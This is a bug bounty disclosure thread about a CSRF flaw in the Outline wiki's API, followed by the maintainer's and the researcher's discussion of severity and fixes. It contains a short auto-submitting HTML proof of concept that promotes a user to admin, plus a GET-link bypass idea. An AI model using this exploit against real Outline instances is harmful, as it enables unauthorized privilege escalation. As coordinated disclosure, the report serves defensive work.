Incorrect API design lead to Site wide CSRF in outline/outline

Valid

Reported on

Sep 4th 2022


Description

By design, the api body only accepts is json values. But we can send with non-json values, beside, api accept auth from accessToken in Cookie. All of that leads to many other consequences, typically csrf.

Example: CSRF - promote normal user to admin

Origin Body

{id: "dde0b2da-6eda-4baf-aee2-6bb23f613b72"}

Edited Body

id=dde0b2da-6eda-4baf-aee2-6bb23f613b72

PoC.html

<html>
  <body>
    <form action="<outline-root-url>/api/users.promote" method="POST">
      <input type="hidden" name="id" value="<id-to-promote>" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Impact

Site wide CSRF

Occurrences

We are processing your report and will contact the outline team within 24 hours. a year ago
Nguyen Cong Vinh modified the report
a year ago
Nguyen Cong Vinh modified the report
a year ago
Nguyen Cong Vinh modified the report
a year ago
Nguyen Cong Vinh modified the report
a year ago
Tom Moor
a year ago

Maintainer


I'm not sure I understand the relevance of json vs multipart form data when it relates to CSRF? The API is open to requests from all domains due to our support for custom domains, the lenient CORS policy was a known tradeoff.

Nguyen
a year ago

Researcher


If the api only accepts the value of body as json then csrf won't happen. Because of the csrf vulnerability that exploits the submission of forms, and form cannot submitted with a body as json.

Nguyen
a year ago

Researcher


Generally, APIs that accept body values as parameters leave it vulnerable to csrf if that request is not protected with a csrf token.

Nguyen
a year ago

Researcher


You can prevent this vulnerability by adding csrf tokens for each request, or more simply is only accept requests with a body of json.

We have contacted a member of the outline team and are waiting to hear back a year ago
Nguyen Cong Vinh modified the report
a year ago
Nguyen
a year ago

Researcher


@tommoor Any update?

We have sent a follow up to the outline team. We will try again in 4 days. a year ago
Nguyen
a year ago

Researcher


@tommoor how's everything? I just had a new idea for easier csrf prevention: API only accept identifier by Token above header, not identifier by Token, that will protect API from csrf attacks, because of This attack cannot insert the exact victim's Token in the header. Alternatively, we can change the domain name of the API to another domain, for example, api.abc.getoutline.com, which will prevent the Cookie from being shared with the API.

Nguyen
a year ago

Researcher


Sorry, I misspelled the above. API only accept identifier by Token above header, not identifier by Cookies, that will protect API from csrf attacks, because of This attack cannot insert the exact victim's Token in the header.

Nguyen
a year ago

Researcher


Here is an example for not accept Access Token contained in Cookie:

Only Access Token contained in the authorization header should be accepted.

a year ago
Nguyen Cong Vinh modified the report
a year ago
Nguyen
a year ago

Researcher


I just edited the description: By design, the api body only accepts is json values. But we can send with non-json values, beside, api accept auth from accessToken in Cookie. All of that leads to many other consequences, typically csrf.

Nguyen
a year ago

Researcher


I've just submitted a patch that may block all future csrf vulnerability of api.

Nguyen
a year ago

Researcher


@admin @tommoor Any update?

We have sent a second follow up to the outline team. We will try again in 7 days. a year ago
Tom Moor
a year ago

Maintainer


It's not as simple as the patch you suggested of course, otherwise why would we have cookie auth at all? ;) I believe this report is valid and we'll make changes but as usual I'm going to argue on the severity – for one, you also need to have an ID from somewhere…

Nguyen
a year ago

Researcher


Cookie is just a place to store AccessToken, and in the sending area, we will insert it into the Header to verify as you did. Cookie is just a place to store AccessToken, and in the sending API request, we should insert it into the header to auth as you did. And I found that removing cookie authentication was a simple way to prevent csrf attacks, and it didn't affect the operation of the application at all. That's why I recommend it.

Nguyen
a year ago

Researcher


The API still to authenticate with cookies is redundant, and potentially dangerous.

Nguyen
a year ago

Researcher


As for the user ID (also say the attacker's own ID) there are many ways the attacker can get it. The simplest is /api/users.list which returns the IDs of all the users. Or /api/auth.info returns the attacker's own ID.

Tom Moor
a year ago

Maintainer


As far as I can tell this is fixed in production through the addition of sameSite = "strict" on new accessToken cookies, willing to accept as low severity.

Nguyen
a year ago

Researcher


The severity is not related to the difficulty of fix, it is affected by the impact of the vulnerability. And the impact here is high, the attacker can elevate to admin and many other things.

Nguyen
a year ago

Researcher


Can you consider in and set the severity as high? If we count only this single report, it is not necessarily high. But if combined with my previous report of being able to use GET request, an attacker can completely bypass sameSite = "strict" by simply inserting the link /api/users.promote?id=<id- to-promote> with link markdown function. Thanks!

We have sent a third follow up to the outline team. We will try again in 14 days. a year ago
Nguyen Cong Vinh modified the report
a year ago
Nguyen Cong Vinh modified the report
a year ago
Nguyen Cong Vinh modified the report
a year ago
Nguyen
a year ago

Researcher


I accept medium severity.

Tom Moor
a year ago

Maintainer


"If we count only this single report, it is not necessarily high. But if combined with my previous report of being able to use GET request,"

You can't combine with a previously-fixed issue to elevate the severity of this one, that makes not sense.

Tom Moor validated this vulnerability a year ago
vn-ncvinh has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Tom Moor marked this as fixed in v0.67.0 with commit 89a133 a year ago
The fix bounty has been dropped
index.ts#L0 has been validated
to join this conversation